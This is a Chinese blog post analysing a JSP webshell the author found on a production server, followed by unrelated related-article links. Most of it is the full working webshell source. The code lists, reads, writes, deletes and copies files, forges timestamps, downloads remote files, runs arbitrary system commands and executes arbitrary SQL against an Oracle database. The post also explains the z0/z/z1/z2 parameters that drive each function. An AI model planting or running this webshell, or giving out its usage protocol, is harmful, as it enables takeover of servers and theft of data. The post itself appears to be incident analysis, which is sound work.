写在前面,本文仅做为技术交流的用途,请不要使用本文中的技术破坏他人的网站及系统,因为这是违法的!!!本人不负任何法律责任!!!  


  19年1月份,发现了一个JSP木马文件,当时觉得有点奇怪的是,这个文件没有在上传目录,而是在相当于windows系统桌面的位置,我怀疑应该是这个木马把自己转移了。

  这个木马是一个JSP文件,通过在访问该文件的时候传递参数,就能调用该文件中对应的方法,从而实现对系统的各种功能。

  先上源代码:

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
String Pwd="justtest123";
String EC(String s,String c)throws Exception{
return s;
}
//new String(s.getBytes("ISO-8859-1"),c);}
Connection GC(String s)throws Exception{
String[] x=s.trim().split("\r\n");
Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
Connection c=DriverManager.getConnection("jdbc:oracle:thin:@192.168.0.107:1521:test");
System.out.println("数据库连接获取完毕");
if(x.length>2){
c.setCatalog("jdbc:oracle:thin:@192.168.0.107:1521:test");
}
return c;
}
void AA(StringBuffer sb)throws Exception{
File r[]=File.listRoots();
for(int i=0;i<r.length;i++){
sb.append(r[i].toString().substring(0,2));
}
}
void BB(String s,StringBuffer sb)throws Exception{
File oF=new File(s),l[]=oF.listFiles();
String sT, sQ,sF="";
java.util.Date dt;
SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for(int i=0;i<l.length;i++){
dt=new java.util.Date(l[i].lastModified());
sT=fm.format(dt);
sQ=l[i].canRead()?"R":"";
sQ+=l[i].canWrite()?" W":"";
if(l[i].isDirectory()){
sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");
}else{
sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";
}
}
sb.append(sF);
}
void EE(String s)throws Exception{
File f=new File(s);
if(f.isDirectory()){
File x[]=f.listFiles();
for(int k=0;k<x.length;k++){
if(!x[k].delete()){
EE(x[k].getPath());
}
}
}
f.delete();
}
void FF(String s,HttpServletResponse r)throws Exception{
int n;
byte[] b=new byte[512];
r.reset();
ServletOutputStream os=r.getOutputStream();
BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
os.write(("->"+"|").getBytes(),0,3);
while((n=is.read(b,0,512))!=-1){
os.write(b,0,n);
}
os.write(("|"+"<-").getBytes(),0,3);
os.close();
is.close();
}
void GG(String s, String d)throws Exception{
String h="0123456789ABCDEF";
int n;
File f=new File(s);
f.createNewFile();
FileOutputStream os=new FileOutputStream(f);
for(int i=0;i<d.length();i+=2){
os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));
}
os.close();
}
void HH(String s,String d)throws Exception{
File sf=new File(s),df=new File(d);
if(sf.isDirectory()){
if(!df.exists()){
df.mkdir();
}
File z[]=sf.listFiles();
for(int j=0;j<z.length;j++){
HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());
}
}else{
FileInputStream is=new FileInputStream(sf);
FileOutputStream os=new FileOutputStream(df);
int n;
byte[] b=new byte[512];
while((n=is.read(b,0,512))!=-1){
os.write(b,0,n);
}
is.close();
os.close();
}
}
void II(String s,String d)throws Exception{
File sf=new File(s),df=new File(d);
sf.renameTo(df);
}
void JJ(String s)throws Exception{
File f=new File(s);
f.mkdir();
}
void KK(String s,String t)throws Exception{
File f=new File(s);
SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt=fm.parse(t);
f.setLastModified(dt.getTime());
}
void LL(String s, String d)throws Exception{
URL u=new URL(s);
int n;FileOutputStream os=new FileOutputStream(d);
HttpURLConnection h=(HttpURLConnection)u.openConnection();
InputStream is=h.getInputStream();
byte[] b=new byte[512];
while((n=is.read(b,0,512))!=-1){
os.write(b,0,n);
}
os.close();
is.close();
h.disconnect();
}
void MM(InputStream is, StringBuffer sb)throws Exception{
String l;
BufferedReader br=new BufferedReader(new InputStreamReader(is));
while((l=br.readLine())!=null){
sb.append(l+"\r\n");
}
}
void NN(String s,StringBuffer sb)throws Exception{
System.out.println("进入了NN方法");
Connection c=GC(s);
System.out.println("GC方法执行完毕");
ResultSet r=c.getMetaData().getCatalogs();
while(r.next()){
System.out.println(r.getString(1));
sb.append(r.getString(1)+"\t");
}
r.close();
c.close();
}
void OO(String s,StringBuffer sb)throws Exception{
Connection c=GC(s);
String[] t={"TABLE"};
ResultSet r=c.getMetaData().getTables (null,null,"%",t);
while(r.next()){
sb.append(r.getString("TABLE_NAME")+"\t");
}
r.close();
c.close();
}
void PP(String s,StringBuffer sb)throws Exception{
String[] x=s.trim().split("\r\n");
Connection c=GC(s);
Statement m=c.createStatement(1005,1007);
ResultSet r=m.executeQuery("select * from "+x[3]);
ResultSetMetaData d=r.getMetaData();
for(int i=1;i<=d.getColumnCount();i++){
sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");
}
r.close();
m.close();
c.close();
}
void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{
int i;
Connection c=GC(s);
Statement m=c.createStatement(1005,1008);
try{
ResultSet r=m.executeQuery(q);
ResultSetMetaData d=r.getMetaData();
int n=d.getColumnCount();
for(i=1;i<=n;i++){
sb.append(d.getColumnName(i)+"\t|\t");
}
sb.append("\r\n");
while(r.next()){
for(i=1;i<=n;i++){
sb.append(EC(r.getString(i),cs)+"\t|\t");
}
sb.append("\r\n");
}
r.close();
}catch(Exception e){
sb.append("Result\t|\t\r\n");
try{
m.executeUpdate(q);
sb.append("Execute Successfully!\t|\t\r\n");
}catch(Exception ee){
sb.append(ee.toString()+"\t|\t\r\n");
}
}
m.close();
c.close();
}
%>
<%
String cs=request.getParameter("z0")+"";
request.setCharacterEncoding(cs);
response.setContentType("text/html;charset="+cs);
String Z=EC(request.getParameter("z")+"",cs);
String z1=EC(request.getParameter("z1")+"",cs);
String z2=EC(request.getParameter("z2")+"",cs);
StringBuffer sb=new StringBuffer("");
System.out.println(Z);
try{
sb.append("->"+"|");
if(Z.equals("A")){
String s=new File(application.getRealPath(request.getRequestURI())).getParent();
sb.append(s+"\t");
if(!s.substring(0,1).equals("/")){
AA(sb);
}
}else if(Z.equals("B")){
BB(z1,sb);
}else if(Z.equals("C")){
String l="";
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
while((l=br.readLine())!=null){
sb.append(l+"\r\n");
}
br.close();
}else if(Z.equals("D")){
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
bw.write(z2);
bw.close();
sb.append("1");
}else if(Z.equals("E")){
EE(z1);
sb.append("1");
}else if(Z.equals("F")){
FF(z1,response);
}else if(Z.equals("G")){
GG(z1,z2);
sb.append("1");
}else if(Z.equals("H")){
System.out.println("进入了H");
HH(z1,z2);
sb.append("1");
}else if(Z.equals("I")){
II(z1,z2);
sb.append("1");
}else if(Z.equals("J")){
JJ(z1);
sb.append("1");
}else if(Z.equals("K")){
KK(z1,z2);
sb.append("1");
}else if(Z.equals("L")){
LL(z1,z2);
sb.append("1");
}else if(Z.equals("M")){
String[] c={z1.substring(2),z1.substring(0,2),z2};
Process p=Runtime.getRuntime().exec(c);
MM(p.getInputStream(),sb);
MM(p.getErrorStream(),sb);
}else if(Z.equals("N")){
NN(z1,sb);
}else if(Z.equals("O")){
OO(z1,sb);
}else if(Z.equals("P")){
PP(z1,sb);
}else if(Z.equals("Q")){
QQ(cs,z1,z2,sb);
}
}catch(Exception e){
sb.append("ERROR"+":// "+e.toString());
}
sb.append("|"+"<-");
out.print(sb.toString());
%>

  简单的浏览该源代码发现该木马文件分为两部分,上边的方法区和下边的参数识别区。参数总共有四个,分别是:z0,z,z1,z2。z0传递的是字符集编码格式,一般传递的是“utf-8”。z传递的是你想要调用的方法的名字,例如,根据上面代码中的规则,z传递‘A’就表示你想要调用‘AA’方法。参数z1和z2是不同的方法所需的不同的含义的参数,也就是说,调用不同的方法,需要传递的z1和z2参数是不同的。有的方法也可能不需要传递z1和z2参数。

  参数中的内容需要用urlencode转码。

  我测试了一下,方法ABCDEFG的功能大概如下:(注意请不要将文中技术用于非法途径,本人不负任何法律责任)

A: 获取当前木马的绝对路径和系统所有卷标。

B: 根据z1所指示的路径返回所有文件夹名和文件名,并标注了每个记录的最后修改时间和该记录是否可读写。路径为windows绝对路径,参数要使用urlencode编码。

C: 获取指定文件的内容。z1需要精确到文件名。

D: 将z2参数中的内容覆盖性的写入z1所指定的文件中。如果写入成功页面会显示->|1|<-。

E: 删除z1参数指定的文件或目录,如果是文件直接删除,如果是文件夹,递归删除该文件夹中的文件和子文件夹。如果删除成功页面会显示->|1|<-。

F: 返回指定文件的所有内容,包括第一行

G: 没搞明白这个参数对应的方法是干什么的


  本文为作者sunziren原创文章,转载请提前告知,获得许可后方可转载。转载请注明出处。

  再次声明,本文仅作为技术交流研究用途,禁止进行任何非法用途的使用。

在生产环境中碰见的JSP木马-sunziren的更多相关文章

  1. 生产环境中tomcat的配置

    生产环境中要以daemon方式运行tomcat 通常在开发环境中,我们使用$CATALINA_HOME/bin/startup.sh来启动tomcat, 使用$CATALINA_HOME/bin/sh ...

  2. .NET跨平台之旅:在生产环境中上线第一个运行于Linux上的ASP.NET Core站点

    2016年7月10日,我们在生产环境中上线了第一个运行于Linux上的ASP.NET Core站点,这是一个简单的提供后端服务的ASP.NET Core Web API站点. 项目是在Windows上 ...

  3. 理解Docker(6):若干企业生产环境中的容器网络方案

    本系列文章将介绍 Docker的相关知识: (1)Docker 安装及基本用法 (2)Docker 镜像 (3)Docker 容器的隔离性 - 使用 Linux namespace 隔离容器的运行环境 ...

  4. .NET跨平台之旅:生产环境中第2个跑在Linux上的ASP.NET Core站点

    今天我们在生产环境中上线了第2个跑在Linux上的ASP.NET Core站点.这是一个简单的Web API站点,通过命令行的方式调用安装在Linux服务器上的程序完成操作.之前用的是nodejs,现 ...

  5. 【原】Storm Local模式和生产环境中Topology运行配置

    Storm入门教程 1. Storm基础 Storm Storm主要特点 Storm基本概念 Storm调度器 Storm配置 Guaranteeing Message Processing(消息处理 ...

  6. 生产环境中CentOS7部署NET Core应用程序

    NET Core应用程序部署至生产环境中(CentOS7) 阅读目录 环境说明 准备你的ASP.NET Core应用程序 安装CentOS7 安装.NET Core SDK for CentOS7. ...

  7. 生产环境中使用Docker Swarm的一些建议

    译者按: 实践中会发现,生产环境中使用单个Docker节点是远远不够的,搭建Docker集群势在必行.然而,面对Kubernetes, Mesos以及Swarm等众多容器集群系统,我们该如何选择呢?它 ...

  8. [virtualenv]生产环境中使用virtualenv

    virtualenv 对于python开发和部署都是好工具,可以隔离多个python版本和第三方库的版本,这里作者总结了几个常用python服务怎么样结合virtual部署 原文链接 Python 中 ...

  9. Kubernetes 在生产环境中常用架构

    Kubernetes 在生产环境中常用架构 首先,我们来梳理下Kubernetes生产架构,其设计适用于绝大多数环境.如下图所示 在该架构中,我们可以将其分为四层,如下: Client层:即Kuber ...

随机推荐

  1. 【Java并发工具类】Semaphore

    前言 1965年,荷兰计算机科学家Dijkstra提出的信号量机制成为一种高效的进程同步机制.这之后的15年,信号量一直都是并发编程领域的终结者.1980年,管程被提出,成为继信号量之后的在并发编程领 ...

  2. Codeforces 1175F The Number of Subpermutations (思维+rmq)

    题意: 求区间[l, r]是一个1~r-l+1的排列的区间个数 n<=3e5 思路: 如果[l,r]是一个排列,首先这里面的数应该各不相同,然后max(l,r)应该等于r-l+1,这就能唯一确定 ...

  3. Ansible: hosts文件拆分为inventory和定义inventory全局变量

    前言 随着管理机器的增多,我们在使用Ansible的时候时常会遇到hosts文件过于冗长的问题,极其不便于管理,而将hosts文件拆分为inventory就可解决该问题:另外,hosts中的每个主机条 ...

  4. spark sql 执行计划生成案例

    前言 一个SQL从词法解析.语法解析.逻辑执行计划.物理执行计划最终转换为可以执行的RDD,中间经历了很多的步骤和流程.其中词法分析和语法分析均有ANTLR4完成,可以进一步学习ANTLR4的相关知识 ...

  5. LeetCode29 Medium 不用除号实现快速除法

    本文始发于个人公众号:TechFlow,原创不易,求个关注 链接 Divide Two Integers 难度 Medium 描述 给定两个整数,被除数和除数,要求在不使用除号的情况下计算出两数的商 ...

  6. 一个基于图的数据管理系统-gStore

    gStore是遵循 BSD协议的一个开源项目.一个基于图的 RDF 三元组存储的数据管理系统.该项目是北京大学.滑铁卢大学.香港科技大学的联合研究项目.中国北京大学计算机科学与技术研究所的数据库组对该 ...

  7. XAMPP与ISS在80端口冲突问题

    1.在control界面上通过apach行的config,选择httpd.conf,将其中的listen和ServerName localhost:后面的80改为8080. 2.打开control最右 ...

  8. 开源堡垒机jumpserver的安装

    开源跳板机jumpserver安装 简介 Jumpserver 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统 Jumpserver 使用Pyt ...

  9. ssh_key认证

    ssh认证流程步骤: 1.主机host_key认证 2.身份验证 3.身份验证通过 原理及更多知识点,请查看好友博客 http://www.cnblogs.com/f-ck-need-u/p/7129 ...

  10. [Redis-CentOS7]Redis列表操作(三)

    LPUSH添加列表 127.0.0.1:6379> LPUSH websites www.baidu.com (integer) 1 LRANGE 获取全部值 127.0.0.1:6379> ...